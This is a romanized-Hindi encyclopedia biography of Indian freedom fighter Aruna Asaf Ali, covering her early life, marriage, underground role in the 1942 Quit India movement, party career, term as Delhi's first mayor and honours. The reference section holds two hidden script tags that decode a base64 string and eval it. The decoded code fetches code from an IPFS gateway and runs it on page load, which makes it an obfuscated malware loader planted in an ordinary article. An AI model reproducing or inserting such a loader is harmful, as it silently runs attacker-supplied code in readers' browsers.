अरुणा आसफ़ अली
aruna asaf ali
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| poora nam | aruna asaf ali |
| any nam | aruna gaanguli |
| janm | 16 julaee, 1909 |
| janm bhoomi | hariyana |
| mrityu | 29 julaee, 1996 |
| pati/patni | asaf ali |
| karm bhoomi | bharat |
| karm-kshetr | svatantrata senani, shikshak |
| bhasha | hindi, aangrezi |
| puraskar-upadhi | 'lenin shaanti puraskar' (1964), 'javaharalal neharoo aantarrashtriy sadbhavana puraskar' (1991), 'padm vibhooshan' (1992), ‘iandira gaandhi puraskar’, 'bharat ratn' (1997) |
| vishesh yogadan | 1942 ee. ke ‘aangrezoan bharat chho do’ aandolan mean vishesh yogadan tha. |
| nagarikata | bharatiy |
| any janakari | 1998 mean inake nam par ek dak tikat jari kiya gaya. unake samman mean nee dilli ki ek s dak ka nam 'aruna asaf ali marg' rakha gaya. |
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aruna asaf ali (aangrezi: Aruna Asaf Ali, janm- 16 julaee, 1909; mrityu- 29 julaee, 1996) ka nam bharat ke svatantrata andolan mean vishesh roop se prasiddh hai. inhoanne bharat ko azadi dilane ke lie kee ullekhaniy kary kiye the. bharat ke svatantrata aandolan mean agrani bhoomika nibhane vali kraantikari, jujharoo neta shrimati aruna asaf ali ka nam itihas mean darj hai. aruna asaf ali ne san 1942 ee. ke ‘aangrezoan bharat chho do’ aandolan mean mahattvapoorn yogadan ko vismrit nahian kiya ja sakata. desh ko azad karane ke lie aruna ji nirantar varshoan aangrezoan se sangharsh karati rahi thian.
jivan parichay
aruna ji ka janm bangali parivar mean 16 julaee san 1909 ee. ko hariyana, tatkalin panjab ke 'kalaka' namak sthan mean hua tha. inaka parivar jati se brahman tha. inaka nam 'aruna gaanguli' tha. aruna ji ne skooli shiksha nainital mean prapt ki thi. nainital mean inake pita ka hotal tha. yah bahut hi kushagr buddhi aur padhaee likhaee mean bahut chatur thian. balyakal se hi kaksha mean sarvochch sthan pati thian. bachapan mean hi unhoanne apani buddhimatta aur chaturata ki dhak jama di thi. lahaur aur nainital se padhaee poori karane ke bad vah shikshika ban gee aur kolakata ke 'gokhale memoriyal k aaulej' mean adhyapan kary karane lagian.[1]
vivah
aruna ji ne 19 varsh ki ayu mean san 1928 ee. mean apana aantarjatiy prem vivah dilli ke suvikhyat vakil aur kaangres ke neta asaf ali se kar liya. asaf ali aruna se ayu mean 20 varsh b de the. unake pita is aantarjatiy vivah ke viruddh the aur muslim yuvak asaf ali ke sath apani beti ki shadi kisi bhi qimat par karane ko razi nahian the. aruna ji svatantr vicharoan ki aur svatah nirnay lene vali yuvati thian. unhoanne mata-pita ke virodh ke bad bhi svechchha se shadi kar li. vivah ke bad vah pati ke pas a geean, aur pati ke sath premapoorvak rahane lagian. is vivah ne aruna ke jivan ki disha badal di. ve rajaniti mean ruchi lene lagian. ve rashtriy andolan mean sammilit ho geean.
rajanitik aur samajik jivan
paratantrata mean bharat ki durdasha aur aangrezoan ke atyachar dekhakar vivah ke uparaant shrimati aruna asaf ali svatantrata-sangram mean sakriy bhag lene lagian. unhoanne mahatma gaandhi aur maulana abul qalam azad ki sabhaoan mean bhag lena prarambh kar diya. vah in donoan netaoan ke sanpark mean aeean aur unake sath karmathata, se rajaniti mean bhag lene lagian, ve phir lokanayak jayaprakash narayan, ram manohar lohiya aur achyut patavarddhan ke sath kaangres 'soshalist parti' se sanbaddh ho geean.
jel yatra
aruna ji ne 1930, 1932 aur 1941 ke vyaktigat satyagrah ke samay jel ki sazaean bhogian. unake oopar jayaprakash narayan, d aau. ram manohar lohiya, achyut patavardhan jaise samajavadiyoan ke vicharoan ka adhik prabhav p da. isi karan 1942 ee. ke ‘bharat chho do andolan’ mean aruna ji ne aangrezoan ki jel mean band hone ke badale bhoomigat rahakar apane any sathiyoan ke sath andolan ka netritv karana uchit samajha. gaandhi ji adi netaoan ki giraphtari ke turant bad mumbee mean virodh sabha ayojit karake videshi sarakar ko khuli chunauti dene vali ve pramukh mahila thian. phir gupt roop se un kaangresajanoan ka path-pradarshan kiya, jo jel se bahar rah sake the. mumbee, kolakata, dilli adi mean ghoom-ghoomakar, par pulis ki pak d se bachakar logoan mean nav jagriti lane ka prayatn kiya. lekin 1942 se 1946 tak desh bhar mean sakriy rahakar bhi ve pulis ki pak d mean nahian aeean. 1946 mean jab unake nam ka varant radd hua, tabhi ve prakat hueean. sari sampatti jabt karane par bhi unhoanne atmasamarpan nahian kiya.
kaangres kameti ki nirvachit adhyaksh
do varsh ke aantaral ke bad sanh 1946 ee. mean vah bhoomigat jivan se bahar a geean. bhoomigat jivan se bahar ane ke bad sanh 1947 ee. mean shrimati aruna asaf ali dilli pradesh kaangres kameti ki adhyaksha nirvachit ki geean. dilli mean kaangres sangathan ko inhoanne sudridh kiya.
kaangres se soshalist parti mean
san 1948 ee. mean shrimati aruna asaf ali 'soshalist parti' mean sammilit huyian aur do sal bad sanh 1950 ee. mean unhoanne alag se ‘lepht speshalist parti’ banaee aur ve sakriy hokar 'mazadoor-aandolan' mean ji jan se jut geean. aant mean san 1955 ee. mean is parti ka 'bharatiy kamyanist parti' mean vilay ho gaya.
bhakapa mean
shrimati aruna asaf ali bhakapa ki keandriy samiti ki sadasya aur ‘aaul iandiya tred yooniyan kaangres’ ki upadhyaksha banaee gee thian. sanh 1958 ee. mean unhoanne 'marksavadi kamyunist parti' bhi chho d di. sanh 1964 ee. mean pan. javaharalal neharoo ke nidhan ke pashchath ve punah 'kaangres parti' se ju dian, kiantu adhik sakriy nahian rahian.
dilli nagar nigam ki pratham mahapaur
shrimati aruna asaf ali sanh 1958 ee. mean 'dilli nagar nigam' ki pratham mahapaur chuni geean. meyar banakar unhoanne dilli ke vikas, saphaee, aur svasthy adi ke lie bahut achchha kary kiya aur nagar nigam ki kary pranali mean bhi unhoanne yathesht sudhar kie.
sangathanoan se sambandh
shrimati aruna asaf ali ‘iandosoviyat kalcharal sosaiti’, ‘aaul iandiya pis kauansil’, tatha ‘neshanal phaidareshan aauph iandiyan voomain’, adi sansthaoan ke lie unhoanne b di lagan, nishtha, eemanadari aur sakriyata se kary kiya. dilli se prakashit vamapanthi aangrezi dainik samachar patr ‘petriyat’ se ve jivanaparyant karmathata se ju di rahian.
samman aur puraskar
shrimati aruna asaf ali ko sanh 1964 mean ‘lenin shaanti puraskar’, sanh 1991 mean 'javaharalal neharoo aantarrashtriy sadbhavana puraskar', 1992 mean 'padm vibhooshan' aur ‘iandira gaandhi puraskar’ (rashtriy ekata ke lie) se sammanit kiya gaya tha. 1997 mean unhean maranoparaant bharat ke 'sarvochch nagarik samman' bharat ratn se sammanit kiya gaya. 1998 mean un par ek dak tikat jari kiya gaya. unake samman mean nee dilli ki ek s dak ka nam unake nam par 'aruna asaf ali marg' rakha gaya.
ek sansmaran
aruna asaf ali ki apani vishisht jivanashaili thi. umr ke athavean dashak mean bhi vah sarvajanik parivahan se saphar karati thian. kaha jata hai ki ek bar aruna ji dilli mean yatriyoan se bhari bas mean savar thian. koee bhi jagah baithane ke lie khali n thi. usi bas mean adhunik jivan shaili ki ek yuva mahila bhi savar thi. ek vyakti ne yuva mahila ke lie apani jagah use de di aur us yuva mahila ne shishtachar ke karan apani sit aruna ji ko de di. aisa karane par vah vyakti bura man gaya aur yuva mahila se bola - 'yah sit to maianne apake lie khali ki thi bahan.' isake uttar mean aruna asaf ali turant bolian - 'beta! maan ko kabhi n bhoolana, kyoanki maan ka adhikar bahan se pahale hota hai.' yah sunakar vah vyakti bahut sharmianda hua aur usane aruna ji se mafi maangi.
nidhan
aruna asaf ali vriddhavastha mean bahut shaant aur ganbhir svabhav ki ho gee thian. unaki atmiyata aur sneh ko kabhi bhulaya nahian ja sakata. vastav mean ve mahanh deshabhakt thian. vayovriddh svatantrata senani aruna asaf ali 87 varsh ki ayu mean dinaank 29 julaee, sanh 1996 ko is sansar ko chho dakar sadaiv ke lie door-bahut door chali geean. unaki sukirti aj bhi amar hai.
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tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |sankalan: bharat diskavari pustakalay |prishth sankhya: 49-50 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ aruna asaf ali : dilli ki pahali mahapaur (hindi) (ech.ti.em.el) veb duniya. abhigaman tithi: 6 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- Those who said no to top awards, Times Of India
- aruna asaf ali
- aruna asaf ali
- bharatiy saanskritik sanbandh parishad
- aruna asaf ali : dilli ki pahali mahapaur
sanbandhit lekh
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varnamala kramanusar lekh khoj
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